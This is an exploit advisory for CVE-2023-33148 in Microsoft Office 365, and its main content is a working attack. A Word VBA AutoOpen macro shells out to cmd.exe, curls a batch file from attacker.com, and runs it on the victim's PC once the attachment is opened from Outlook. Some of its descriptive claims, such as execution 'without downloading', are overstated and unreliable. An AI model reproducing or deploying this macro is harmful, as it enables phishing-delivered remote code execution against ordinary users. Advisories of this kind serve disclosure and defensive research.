Microsoft Office 365 Version 18.2305.1222.0 – Elevation of Privilege + RCE.
## Title: Microsoft Office 365 Version 18.2305.1222.0 - Elevation of Privilege + RCE. ## Author: nu11secur1ty ## Date: 07.18.2023 ## Vendor: https://www.microsoft.com/ ## Software: https://www.microsoft.com/en-us/microsoft-365/microsoft-office ## Reference: https://portswigger.net/web-security/access-control ## CVE-2023-33148 ## Description: The Microsoft Office 365 Version 18.2305.1222.0 app is vulnerable to Elevation of Privilege. The attacker can use this vulnerability to attach a very malicious WORD file in the Outlook app which is a part of Microsoft Office 365 and easily can trick the victim to click on it - opening it and executing a very dangerous shell command, in the background of the local PC. This execution is without downloading this malicious file, and this is a potential problem and a very dangerous case! This can be the end of the victim's PC, it depends on the scenario. ## Staus: HIGH Vulnerability [+]Exploit: - Exploit Server: ```vb Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s https://attacker.com/uqev/namaikitiputkata/golemui.bat > salaries.bat && .\salaries.bat", vbNormalFocus) End Sub ``` ## Reproduce: [href](https://github.com/nu11secur1ty/Windows11Exploits/tree/main/2023/CVE-2023-33148) ## Proof and Exploit [href](https://www.nu11secur1ty.com/2023/07/cve-2023-33148.html) ## Time spend: 00:35:00 |